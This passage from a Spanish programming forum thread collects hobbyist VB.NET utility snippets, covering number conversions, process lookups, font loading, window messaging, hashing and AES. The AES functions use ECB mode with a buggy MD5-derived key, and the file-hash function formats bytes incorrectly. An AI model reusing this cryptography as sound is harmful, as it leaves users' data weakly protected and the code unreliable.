  19.    Private Function LongToBinary(ByVal long_value As Long, Optional ByVal separate_bytes As Boolean = True) As String
  20.  
  21.        ' Convert into hex.
  22.        Dim hex_string As String = long_value.ToString("X")
  23.  
  24.        ' Zero-pad to a full 16 characters.
  25.        hex_string = hex_string.PadLeft(16, "0")
  26.  
  27.        ' Read the hexadecimal digits one at a time from right to left.
  28.        Dim result_string As String = ""
  29.        For digit_num As Integer = 0 To 15
  30.  
  31.            ' Convert this hexadecimal digit into a binary nibble.
  32.            Dim digit_value As Integer = Integer.Parse(hex_string.Substring(digit_num, 1), Globalization.NumberStyles.HexNumber)
  33.  
  34.            ' Convert the value into bits.
  35.            Dim factor As Integer = 8
  36.            Dim nibble_string As String = ""
  37.            For bit As Integer = 0 To 3
  38.                If digit_value And factor Then
  39.                    nibble_string &= "1"
  40.                Else
  41.                    nibble_string &= "0"
  42.                End If
  43.                factor \= 2
  44.            Next bit
  45.  
  46.            ' Add the nibble's string to the left of the result string.
  47.            result_string &= nibble_string
  48.        Next digit_num
  49.  
  50.        ' Add spaces between bytes if desired.
  51.        If separate_bytes Then
  52.            Dim tmp As String = ""
  53.            For i As Integer = 0 To result_string.Length - 8 Step 8
  54.                tmp &= result_string.Substring(i, 8) & " "
  55.            Next i
  56.            result_string = tmp.Substring(0, tmp.Length - 1)
  57.        End If
  58.  
  59.        ' Return the result.
  60.        Return result_string
  61.  
  62.    End Function
  63.  
  64. #End Region





...O viceversa:

Código
  1. #Region " Binary To ASCII Function "
  2.  
  3.    ' [ Binary To ASCII Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Binary_To_ASCII("01010100 01100101 01110011 01110100"))
  7.    ' MsgBox(Binary_To_ASCII("01010100011001010111001101110100"))
  8.  
  9.    Private Function Binary_To_ASCII(ByVal str As String) As String
  10.        Dim ASCII_String As String = Nothing
  11.  
  12.        ' Strip out spaces in case the string are separated by spaces.
  13.        str = str.Replace(" ", "")
  14.  
  15.        For i As Integer = 0 To str.Length - 1 Step 8
  16.            ASCII_String &= Chr(BinaryToLong(str.Substring(i, 8)))
  17.        Next i
  18.  
  19.        Return ASCII_String
  20.    End Function
  21.  
  22.    ' Convert this Binary value into a Long.
  23.    Private Function BinaryToLong(ByVal binary_value As String) As Long
  24.  
  25.        ' Remove any leading &B if present.
  26.        binary_value = binary_value.Trim().ToUpper()
  27.        If binary_value.StartsWith("&B") Then binary_value = binary_value.Substring(2)
  28.  
  29.        ' Strip out spaces in case the bytes are separated by spaces.
  30.        binary_value = binary_value.Replace(" ", "")
  31.  
  32.        ' Left pad with zeros so we have a full 64 bits.
  33.        binary_value = binary_value.PadLeft(64, "0")
  34.  
  35.        ' Read the bits in nibbles from left to right. (A nibble is half a byte)
  36.        Dim hex_result As String = ""
  37.        For nibble_num As Integer = 0 To 15
  38.  
  39.            ' Convert this nibble into a hexadecimal string.
  40.            Dim factor As Integer = 1
  41.            Dim nibble_value As Integer = 0
  42.  
  43.            ' Read the nibble's bits from right to left.
  44.            For bit As Integer = 3 To 0 Step -1
  45.                If binary_value.Substring(nibble_num * 4 + bit, 1).Equals("1") Then
  46.                    nibble_value += factor
  47.                End If
  48.                factor *= 2
  49.            Next bit
  50.  
  51.            ' Add the nibble's value to the right of the result hex string.
  52.            hex_result &= nibble_value.ToString("X")
  53.        Next nibble_num
  54.  
  55.        ' Convert the result string into a long.
  56.        Return Long.Parse(hex_result, Globalization.NumberStyles.HexNumber)
  57.  
  58.    End Function
  59.  
  60. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Abril 2013, 10:59 am
· Hexadecimal a Decimal:

Código
  1. #Region " Hex To Dec Function "
  2.  
  3.    ' [ Hex To Dec Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Hex_To_Dec("0x020032")) ' Result: 131122
  9.  
  10.    Private Function Hex_To_Dec(ByVal str As String) As Int32
  11.        Return Convert.ToInt32(str, 16)
  12.    End Function
  13.  
  14. #End Region





· Decimal a Hexadecimal:

Código
  1. #Region " Dec To Hex Function "
  2.  
  3.    ' [ Dec To Hex Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Dec_To_Hex(131122)) ' Result: 0x020032
  9.  
  10.    Private Function Dec_To_Hex(ByVal int As Int32) As String
  11.        Return Convert.ToString(int, 16)
  12.    End Function
  13.  
  14. #End Region





· Comprueba si una fuente está instalada:

EDITO: MEJORADO Y SIMPLIFICADO

#Region " Font Is Installed? Function "

    ' [ Font Is Installed? Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Font_Is_Installed("Lucida Console"))

    Private Function Font_Is_Installed(ByVal FontName As String) As Boolean
        Dim AllFonts As New Drawing.Text.InstalledFontCollection
        If AllFonts.Families.ToList().Contains(New FontFamily(FontName)) Then Return True Else Return False
    End Function

#End Region


Otra versión que me han proporcionado, mucho más simplificada:

Código
  1. #Region " Font Is Installed? Function "
  2.  
  3.    ' [ Font Is Installed? Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Font_Is_Installed("Lucida Console"))
  7.  
  8.    Public Shared Function Font_Is_Installed(ByVal FontName As String) As Boolean
  9.        Using TestFont As Font = New Font(FontName, 8)
  10.            Return CBool(String.Compare(FontName, TestFont.Name, StringComparison.InvariantCultureIgnoreCase) = 0)
  11.        End Using
  12.    End Function
  13.  
  14. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Abril 2013, 16:50 pm
· Mostrar un MessageBox centrado al form

Código
  1. #Region " Centered Messagebox "
  2.  
  3.    ' [ Centered Messagebox Function ]
  4.    '
  5.    ' Instructions :
  6.    ' 1. Add the Class
  7.    ' 2. Use it
  8.    '
  9.    ' Examples :
  10.    ' Using New Centered_MessageBox(Me)
  11.    '     MessageBox.Show("Test Text", "Test Title", MessageBoxButtons.OK)
  12.    ' End Using
  13.  
  14.    ' Centered_MessageBox.vb
  15. #Region " Centered MessageBox Class"
  16.  
  17. Imports System.Text
  18. Imports System.Drawing
  19. Imports System.Windows.Forms
  20. Imports System.Runtime.InteropServices
  21.  
  22.    Class Centered_MessageBox
  23.        Implements IDisposable
  24.        Private mTries As Integer = 0
  25.        Private mOwner As Form
  26.  
  27.        Public Sub New(owner As Form)
  28.            mOwner = owner
  29.            owner.BeginInvoke(New MethodInvoker(AddressOf findDialog))
  30.        End Sub
  31.  
  32.        Private Sub findDialog()
  33.            ' Enumerate windows to find the message box
  34.            If mTries < 0 Then
  35.                Return
  36.            End If
  37.            Dim callback As New EnumThreadWndProc(AddressOf checkWindow)
  38.            If EnumThreadWindows(GetCurrentThreadId(), callback, IntPtr.Zero) Then
  39.                If System.Threading.Interlocked.Increment(mTries) < 10 Then
  40.                    mOwner.BeginInvoke(New MethodInvoker(AddressOf findDialog))
  41.                End If
  42.            End If
  43.        End Sub
  44.        Private Function checkWindow(hWnd As IntPtr, lp As IntPtr) As Boolean
  45.            ' Checks if <hWnd> is a dialog
  46.            Dim sb As New StringBuilder(260)
  47.            GetClassName(hWnd, sb, sb.Capacity)
  48.            If sb.ToString() <> "#32770" Then
  49.                Return True
  50.            End If
  51.            ' Got it
  52.            Dim frmRect As New Rectangle(mOwner.Location, mOwner.Size)
  53.            Dim dlgRect As RECT
  54.            GetWindowRect(hWnd, dlgRect)
  55.            MoveWindow(hWnd, frmRect.Left + (frmRect.Width - dlgRect.Right + dlgRect.Left) \ 2, frmRect.Top + (frmRect.Height - dlgRect.Bottom + dlgRect.Top) \ 2, dlgRect.Right - dlgRect.Left, dlgRect.Bottom - dlgRect.Top, True)
  56.            Return False
  57.        End Function
  58.        Public Sub Dispose() Implements IDisposable.Dispose
  59.            mTries = -1
  60.        End Sub
  61.  
  62.        ' P/Invoke declarations
  63.        Private Delegate Function EnumThreadWndProc(hWnd As IntPtr, lp As IntPtr) As Boolean
  64.        <DllImport("user32.dll")> _
  65.        Private Shared Function EnumThreadWindows(tid As Integer, callback As EnumThreadWndProc, lp As IntPtr) As Boolean
  66.        End Function
  67.        <DllImport("kernel32.dll")> _
  68.        Private Shared Function GetCurrentThreadId() As Integer
  69.        End Function
  70.        <DllImport("user32.dll")> _
  71.        Private Shared Function GetClassName(hWnd As IntPtr, buffer As StringBuilder, buflen As Integer) As Integer
  72.        End Function
  73.        <DllImport("user32.dll")> _
  74.        Private Shared Function GetWindowRect(hWnd As IntPtr, ByRef rc As RECT) As Boolean
  75.        End Function
  76.        <DllImport("user32.dll")> _
  77.        Private Shared Function MoveWindow(hWnd As IntPtr, x As Integer, y As Integer, w As Integer, h As Integer, repaint As Boolean) As Boolean
  78.        End Function
  79.        Private Structure RECT
  80.            Public Left As Integer
  81.            Public Top As Integer
  82.            Public Right As Integer
  83.            Public Bottom As Integer
  84.        End Structure
  85.    End Class
  86.  
  87. #End Region
  88.  
  89. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Abril 2013, 20:23 pm
· Devuelve el título de la ventana de un proceso

Código
  1. #Region " Get Process Window Title Function "
  2.  
  3.    ' [ Get Process Window Title Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_Process_Window_Title("cmd"))
  9.    ' MsgBox(Get_Process_Window_Title("cmd.exe"))
  10.  
  11.    Private Function Get_Process_Window_Title(ByVal ProcessName As String) As String
  12.        If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  13.        Dim ProcessArray = Process.GetProcessesByName(ProcessName)
  14.        If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).MainWindowTitle
  15.    End Function
  16.  
  17. #End Region



· Devuelve el handle de un proceso
Código
  1. #Region " Get Process Handle Function "
  2.  
  3.    ' [ Get Process Handle Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_Process_Handle("cmd"))
  9.    ' MsgBox(Get_Process_Handle("cmd.exe"))
  10.  
  11.    Private Function Get_Process_Handle(ByVal ProcessName As String) As IntPtr
  12.        If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  13.        Dim ProcessArray = Process.GetProcessesByName(ProcessName)
  14.        If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).MainWindowHandle
  15.    End Function
  16.  
  17. #End Region



· Devuelve el PID de un proceso

Código
  1. #Region " Get Process PID Function "
  2.  
  3.    ' [ Get Process PID Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_Process_PID("cmd"))
  9.    ' MsgBox(Get_Process_PID("cmd.exe"))
  10.  
  11.    Private Function Get_Process_PID(ByVal ProcessName As String) As IntPtr
  12.        If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  13.        Dim ProcessArray = Process.GetProcessesByName(ProcessName)
  14.        If ProcessArray.Length = 0 Then Return Nothing Else Return ProcessArray(0).Id
  15.    End Function
  16.  
  17. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 10 Abril 2013, 13:25 pm
· Cargar fuentes de texto desde los recursos:

Nota: Este code ya lo posteé pero se me olvidó agregar lo más importante, la class, así que lo vuelvo a postear xD

Código
  1. #Region " Use Custom Text-Font "
  2.  
  3.    ' [ Use Custom Text-Font ]
  4.    '
  5.    ' Instructions :
  6.    ' 1. Add a .TTF font to the resources
  7.    ' 2. Add the class
  8.    ' 3. Use it
  9.    '
  10.    ' Examples:
  11.    ' Label1.Font = New Font(GameFont.Font, 10.0!)
  12.    ' Label1.Text = "This is your custom font !!"
  13.  
  14.    Dim MyFont As New CustomFont(My.Resources.kakakaka)
  15.  
  16.    Private Sub Main_Disposed(sender As Object, e As System.EventArgs) Handles Me.Disposed
  17.        MyFont.Dispose()
  18.    End Sub
  19.  
  20.    ' CustomFont.vb
  21. #Region " CustomFont Class "
  22.  
  23. Imports System.Drawing
  24. Imports System.Drawing.Text
  25. Imports System.Runtime.InteropServices
  26.  
  27.    ''' <summary>
  28.    ''' Represents a custom font not installed on the user's system.
  29.    ''' </summary>
  30.    Public NotInheritable Class CustomFont
  31.        Implements IDisposable
  32.  
  33.        Private fontCollection As New PrivateFontCollection()
  34.        Private fontPtr As IntPtr
  35.  
  36. #Region "Constructor"
  37.        ''' <summary>
  38.        ''' Creates a new custom font using the specified font data.
  39.        ''' </summary>
  40.        ''' <param name="fontData">The font data representing the font.</param>
  41.        Public Sub New(ByVal fontData() As Byte)
  42.            'Create a pointer to the font data and copy the
  43.            'font data into the location in memory pointed to
  44.            fontPtr = Marshal.AllocHGlobal(fontData.Length)
  45.            Marshal.Copy(fontData, 0, fontPtr, fontData.Length)
  46.  
  47.            'Add the font to the shared collection of fonts:
  48.            fontCollection.AddMemoryFont(fontPtr, fontData.Length)
  49.        End Sub
  50. #End Region
  51.  
  52. #Region "Destructor"
  53.        'Free the font in unmanaged memory, dispose of
  54.        'the font collection and suppress finalization
  55.        Public Sub Dispose() Implements IDisposable.Dispose
  56.            Marshal.FreeHGlobal(fontPtr)
  57.            fontCollection.Dispose()
  58.  
  59.            GC.SuppressFinalize(Me)
  60.        End Sub
  61.  
  62.        'Free the font in unmanaged memory
  63.        Protected Overrides Sub Finalize()
  64.            Marshal.FreeHGlobal(fontPtr)
  65.        End Sub
  66. #End Region
  67.  
  68. #Region "Properties"
  69.        ''' <summary>
  70.        ''' Gets the font family of the custom font.
  71.        ''' </summary>
  72.        Public ReadOnly Property Font() As FontFamily
  73.            Get
  74.                Return fontCollection.Families(0)
  75.            End Get
  76.        End Property
  77. #End Region
  78.  
  79.    End Class
  80.  
  81. #End Region
  82.  
  83. #End Region





· Esperar a que una aplicación termine de CARGAR

Nota : El código no está muy simplificado, pero se puede usar y funciona bien.
Nota 2: Esto sirve para aquellas aplicaciones a las que no le afecta un "Process.WaitForInputIdle", de lo contrario es una tontería usar este code tán largo y bruto.

Ejemplo de uso:

Código
  1.    Private Sub Wait_For_Application_To_Load(ByVal APP_Path As String, Optional ByVal APP_Arguments As String = Nothing)
  2.  
  3.        Process.Start("Photoshop.exe")
  4.        Timer_CheckCPU.Tag = "Photoshop"
  5.        Timer_CheckCPU.Enabled = True
  6.        While Not Timer_CheckCPU.Tag = ""
  7.            Application.DoEvents()
  8.        End While
  9.    End Sub


Código
  1. #Region " Wait For Application To Load (UNFINISHED AND WAITING TO BE IMPROVED)"
  2.  
  3.    Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByVal lpBuffer As Integer, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
  4.    Private WithEvents Timer_CheckCPU As New Timer
  5.  
  6.    Dim Memory_Value_Changed As Boolean
  7.    Dim CPU_Changed As Boolean
  8.    Dim CPU_Time As Boolean
  9.    Dim Running_Time As Boolean
  10.    Private _desiredTime_ms As Integer = 1500
  11.  
  12.    Private Sub Timer_CheckCPU_Tick(sender As Object, ev As EventArgs) Handles Timer_CheckCPU.Tick
  13.        Timer_CheckCPU.Enabled = False
  14.        Dim pProcess() As Process = System.Diagnostics.Process.GetProcessesByName(Timer_CheckCPU.Tag)
  15.        Dim hprocess As Process = pProcess(0)
  16.        If hprocess Is Nothing Then
  17.            Running = False
  18.            Timer_CheckCPU.Enabled = True
  19.            Return
  20.        End If
  21.        Running = True
  22.        Memory = hprocess.PrivateMemorySize64
  23.        CPUTotal = hprocess.TotalProcessorTime.TotalMilliseconds
  24.  
  25.        If AllConditionsGood() Then
  26.            If Not (_countdown.IsRunning) Then
  27.                _countdown.Reset()
  28.                _countdown.Start()
  29.            End If
  30.            Dim _elapsed As Long = _countdown.ElapsedMilliseconds
  31.            If _elapsed >= _desiredTime_ms Then
  32.                Timer_CheckCPU.Tag = ""
  33.                Return
  34.            End If
  35.        Else
  36.            _countdown.Reset()
  37.        End If
  38.        Timer_CheckCPU.Enabled = True
  39.    End Sub
  40.  
  41.    Private Function AllConditionsGood() As Boolean
  42.        If CPU_Time Then Return False
  43.        If Memory_Value_Changed Then Return False
  44.        If Running_Time Then Return False
  45.        Return True
  46.    End Function
  47.  
  48.    Private _countdown As New Stopwatch
  49.  
  50.    Private _Running As Boolean = False
  51.    Public WriteOnly Property Running() As Boolean
  52.        Set(ByVal value As Boolean)
  53.            _Running = value
  54.            If value Then
  55.                Running_Time = False
  56.            Else
  57.                Running_Time = True
  58.            End If
  59.        End Set
  60.    End Property
  61.  
  62.    Private _CPUTotal As Double
  63.    Public WriteOnly Property CPUTotal() As Double
  64.        Set(ByVal value As Double)
  65.            CPU = value - _CPUTotal 'used cputime since last check
  66.            _CPUTotal = value
  67.        End Set
  68.    End Property
  69.  
  70.    Private _CPU As Double
  71.    Public WriteOnly Property CPU() As Double
  72.        Set(ByVal value As Double)
  73.            If value = 0 Then
  74.                CPU_Time = False
  75.            Else
  76.                CPU_Time = True
  77.            End If
  78.            _CPU = value
  79.        End Set
  80.    End Property
  81.  
  82.    Private _Memory As Long
  83.    Public WriteOnly Property Memory() As Long
  84.        Set(ByVal value As Long)
  85.            MemoryDiff = Math.Abs(value - _Memory)
  86.            _Memory = value
  87.        End Set
  88.    End Property
  89.  
  90.    Private _MemoryDiff As Long
  91.    Public WriteOnly Property MemoryDiff() As Long
  92.        Set(ByVal value As Long)
  93.            If value = _MemoryDiff Then
  94.                Memory_Value_Changed = False
  95.            Else
  96.                Memory_Value_Changed = True
  97.            End If
  98.            _MemoryDiff = value
  99.        End Set
  100.    End Property
  101.  
  102. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 12 Abril 2013, 11:15 am
Cargar configuración desde un archivo INI

Código
  1. Dim INI_File As String = ".\Test.ini"

Código
  1. ' By Elektro H@cker
  2.  
  3.    Private Sub Load_INI_settings()
  4.  
  5.        Dim Line As String = Nothing
  6.        Dim ValueName As String = Nothing
  7.        Dim Value
  8.  
  9.        Dim xRead As IO.StreamReader
  10.        xRead = IO.File.OpenText(INI_File)
  11.        Do Until xRead.EndOfStream
  12.  
  13.            Line = xRead.ReadLine().ToLower
  14.            ValueName = Line.Split("=")(0).ToLower
  15.            Value = Line.Split("=")(1)
  16.  
  17.            If ValueName = "Game".ToLower Then TextBox_Game.Text = Value
  18.            If ValueName = "SaveSettings".ToLower  Then CheckBox_SaveSettings.Checked = Value
  19.  
  20.        Loop
  21.  
  22.        xRead.Close()
  23.        xRead.Dispose()
  24.  
  25.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 12 Abril 2013, 14:17 pm
dada una lista de imágenes, un tamaño por imágen y un número de imágenes por línea devuelve un bitmap con todas las imágenes dibujadas sobre una cuadricula del tamaño indicado. Muy útil para el manejo de gráficos 2D.

Código
  1. Public Function get_Image_matrix(ByRef imagelist As Bitmap(), sze As Size, imgs_per_line As Integer)
  2.        Dim imagesize As New Size(1, 1)
  3.        imagesize.Width = sze.Width * imgs_per_line
  4.        imagesize.Height = Math.Ceiling((imagelist.Length / imgs_per_line) * sze.Height)
  5.  
  6.        If (imagesize.Height = 0) Then
  7.            imagesize.Height = 1 * sze.Height
  8.        End If
  9.        If (imagesize.Width = 0) Then
  10.            imagesize.Width = 1 * sze.Width
  11.        End If
  12.  
  13.        Dim rtn As New Bitmap(imagesize.Width, imagesize.Height)
  14.        Dim gr As Graphics = Graphics.FromImage(rtn)
  15.  
  16.        Dim xc As Integer = 0
  17.        Dim yc As Integer = 0
  18.        Dim index As Integer = 0
  19.  
  20.        Dim needlines As Integer = Math.Ceiling(imagelist.Length / imgs_per_line)
  21.  
  22.        Do While yc < imagesize.Height
  23.            Do While xc < imgs_per_line * sze.Width
  24.                Try
  25.                    gr.DrawImage(imagelist(index), New Rectangle(xc, yc, sze.Width, sze.Height))
  26.  
  27.                Catch ex As Exception
  28.  
  29.                End Try
  30.                index += 1
  31.                xc += 1 * sze.Width
  32.            Loop
  33.            xc = 0
  34.            yc += 1 * sze.Height
  35.        Loop
  36.  
  37.        Return rtn
  38.    End Function

(https://lh5.googleusercontent.com/-FO5r1No9VLc/UWf6ckJ_0PI/AAAAAAAABA4/gPaCVREtVK4/w248-h248/Captura_functionmatriximage02.PNG)


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 12:02 pm
@ABDERRAMAH
Gracias por aportar!



Mi recopilación personal de snippets ha sido re-ordenada y actualizada en el post principal, ya son un total de 200 snippets! :)

Saludos.


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 12:58 pm
· Enviar texto a una ventana PERO sin activar el foco de esa ventana :)

Ejemplo de uso:
Código
  1.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  2.        ' Abrimos una instancia minimizada del bloc de notas
  3.        Process.Start("CMD", "/C Start /MIN Notepad.exe")
  4.        ' Y enviamos el texto a la instancia minimizada del bloc de notas!
  5.        ' Nota: El while es para esperar a que el notepad termine de cargar, no es algo imprescindible.
  6.        While Not SendKeys_To_App("notepad.exe", "By Elektro H@cker" & vbCrLf & "... :D") : Application.DoEvents() : End While
  7.    End Sub

Función:
Código
  1. #Region " SendKeys To App "
  2.  
  3.    ' [ SendKeys To App Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' SendKeys_To_App("notepad.exe", "By Elektro H@cker" & vbCrLf & "... :D")
  9.  
  10.    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  11.    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
  12.    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
  13.    Private Const EM_REPLACESEL = &HC2
  14.  
  15.    Private Function SendKeys_To_App(ByVal App_Name As String, ByVal str As String) As Boolean
  16.        Dim nPadHwnd As Long, ret As Long, EditHwnd As Long
  17.        Dim APP_WindowTitle As String
  18.  
  19.        If App_Name.ToLower.EndsWith(".exe") Then App_Name = App_Name.Substring(0, App_Name.Length - 4) ' Rename APP Name
  20.  
  21.        Dim ProcessArray = Process.GetProcessesByName(App_Name)
  22.        If ProcessArray.Length = 0 Then
  23.            Return False ' App not found
  24.        Else
  25.            APP_WindowTitle = ProcessArray(0).MainWindowTitle ' Set window title of the APP
  26.        End If
  27.  
  28.        nPadHwnd = FindWindow(App_Name, APP_WindowTitle)
  29.  
  30.        If nPadHwnd > 0 Then
  31.            EditHwnd = FindWindowEx(nPadHwnd, 0&, "Edit", vbNullString) ' Find edit window
  32.            If EditHwnd > 0 Then ret = SendMessage(EditHwnd, EM_REPLACESEL, 0&, str) ' Send text to edit window
  33.            Return True  ' Text sended
  34.        Else
  35.            Return False ' Name/Title not found
  36.        End If
  37.  
  38.    End Function
  39.  
  40. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Abril 2013, 15:50 pm
· Convierte entero a caracter

Código
  1. #Region " Byte To Char "
  2.  
  3.    ' [ Byte To Char Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Byte_To_Char(97)) ' Result: a
  9.  
  10.    Private Function Byte_To_Char(ByVal int As Int32) As String
  11.        Return Convert.ToChar(int)
  12.    End Function
  13.  
  14. #End Region



· Convierte caracter a entero

Código
  1. #Region " Char To Byte "
  2.  
  3.    ' [ Char To Byte Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Char_To_Byte("a")) ' Result: 97
  9.    ' Dim MyChar As String = "a" : MsgBox(Chr(Char_To_Byte(MyChar))) ' Result: a    ( ...xD )
  10.  
  11.    Private Function Char_To_Byte(ByVal str As String) As Int32
  12.        Dim character As Char = str & "c"
  13.        Return Convert.ToByte(character)
  14.    End Function
  15.  
  16. #End Region



· Obtiene el SHA1 de un string

Código
  1. #Region " Get SHA1 Of String "
  2.  
  3.    ' [ Get SHA1 Of String Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_SHA1_Of_String("Hello")) ' Result: D2EFCBBA102ED3339947E85F4141EB08926E40E9
  7.  
  8.    Private Function Get_SHA1_Of_String(ByVal str As String) As String
  9.        'create our SHA1 provider
  10.        Dim sha As System.Security.Cryptography.SHA1 = New System.Security.Cryptography.SHA1CryptoServiceProvider()
  11.        Dim hashedValue As String = String.Empty
  12.        'hash the data
  13.        Dim hashedData As Byte() = sha.ComputeHash(System.Text.Encoding.Unicode.GetBytes(str))
  14.  
  15.        'loop through each byte in the byte array
  16.        For Each b As Byte In hashedData
  17.            'convert each byte and append
  18.            hashedValue += String.Format("{0,2:X2}", b)
  19.        Next
  20.  
  21.        'return the hashed value
  22.        Return hashedValue
  23.    End Function
  24.  
  25. #End Region



· Obtiene el SHA1 de un archivo

Código
  1. #Region " Get SHA1 Of File "
  2.  
  3.    ' [ Get SHA1 Of File Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_SHA1_Of_File("C:\File.txt"))
  7.  
  8.    Private Function Get_SHA1_Of_File(ByVal File As String) As String
  9.        Dim File_Stream As New System.IO.FileStream(File, IO.FileMode.Open)
  10.        Dim sha As New System.Security.Cryptography.SHA1CryptoServiceProvider
  11.        Dim hash As Array
  12.        Dim shaHash As String
  13.        Dim sb As New System.Text.StringBuilder
  14.  
  15.        sha.ComputeHash(File_Stream)
  16.        hash = sha.Hash
  17.        For Each hashByte As Byte In hash : sb.Append(String.Format("{0:X1}", hashByte)) : Next
  18.        shaHash = sb.ToString
  19.        File_Stream.Close()
  20.  
  21.        Return shaHash
  22.    End Function
  23.  
  24. #End Region



· cifra un string en AES

Código
  1. #Region " AES Encrypt "
  2.  
  3.    ' [ AES Encrypt Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(AES_Encrypt("Test_Text", "Test_Password")) ' Result: cv/vYwpl51/dxbxSMNSPSg==
  7.  
  8.    Public Function AES_Encrypt(ByVal input As String, ByVal pass As String) As String
  9.        Dim AES As New System.Security.Cryptography.RijndaelManaged
  10.        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
  11.        Dim encrypted As String = ""
  12.        Try
  13.            Dim hash(31) As Byte
  14.            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
  15.            Array.Copy(temp, 0, hash, 0, 16)
  16.            Array.Copy(temp, 0, hash, 15, 16)
  17.            AES.Key = hash
  18.            AES.Mode = Security.Cryptography.CipherMode.ECB
  19.            Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor
  20.            Dim Buffer As Byte() = System.Text.ASCIIEncoding.ASCII.GetBytes(input)
  21.            encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
  22.            Return encrypted
  23.        Catch ex As Exception
  24.            Return Nothing
  25.        End Try
  26.    End Function
  27.  
  28. #End Region



· descifra un string AES

Código
  1. #Region " AES Decrypt "
  2.  
  3.    ' [ AES Decrypt Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(AES_Decrypt("cv/vYwpl51/dxbxSMNSPSg==", "Test_Password")) ' Result: Test_Text
  7.  
  8.    Public Function AES_Decrypt(ByVal input As String, ByVal pass As String) As String
  9.        Dim AES As New System.Security.Cryptography.RijndaelManaged
  10.        Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider
  11.        Dim decrypted As String = ""
  12.        Try
  13.            Dim hash(31) As Byte
  14.            Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass))
  15.            Array.Copy(temp, 0, hash, 0, 16)
  16.            Array.Copy(temp, 0, hash, 15, 16)
  17.            AES.Key = hash
  18.            AES.Mode = Security.Cryptography.CipherMode.ECB
  19.            Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor
  20.            Dim Buffer As Byte() = Convert.FromBase64String(input)
  21.            decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
  22.            Return decrypted
  23.        Catch ex As Exception
  24.            Return Nothing
  25.        End Try
  26.    End Function
  27.  
  28. #End Region



· Devuelve el código fuente de una URL

Código
  1. #Region " Get URL SourceCode "
  2.  
  3.    ' [ Get URL SourceCode Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_URL_SourceCode("http://www.el-hacker.com"))
  7.  
  8.    Function Get_URL_SourceCode(ByVal url As String) As String
  9.  
  10.        Dim sourcecode As String = String.Empty
  11.  
  12.        Try
  13.            Dim request As System.Net.HttpWebRequest = System.Net.HttpWebRequest.Create(url)
  14.            Dim response As System.Net.HttpWebResponse = request.GetResponse()
  15.            Dim sr As System.IO.StreamReader = New System.IO.StreamReader(response.GetResponseStream())
  16.            sourcecode = sr.ReadToEnd()
  17.        Catch ex As Exception
  18.            MsgBox(ex.Message)
  19.        End Try
  20.  
  21.        Return sourcecode
  22.  
  23.    End Function
  24.  
  25. #End Region



· Intercambia entre el modo pantalla completa o modo normal.

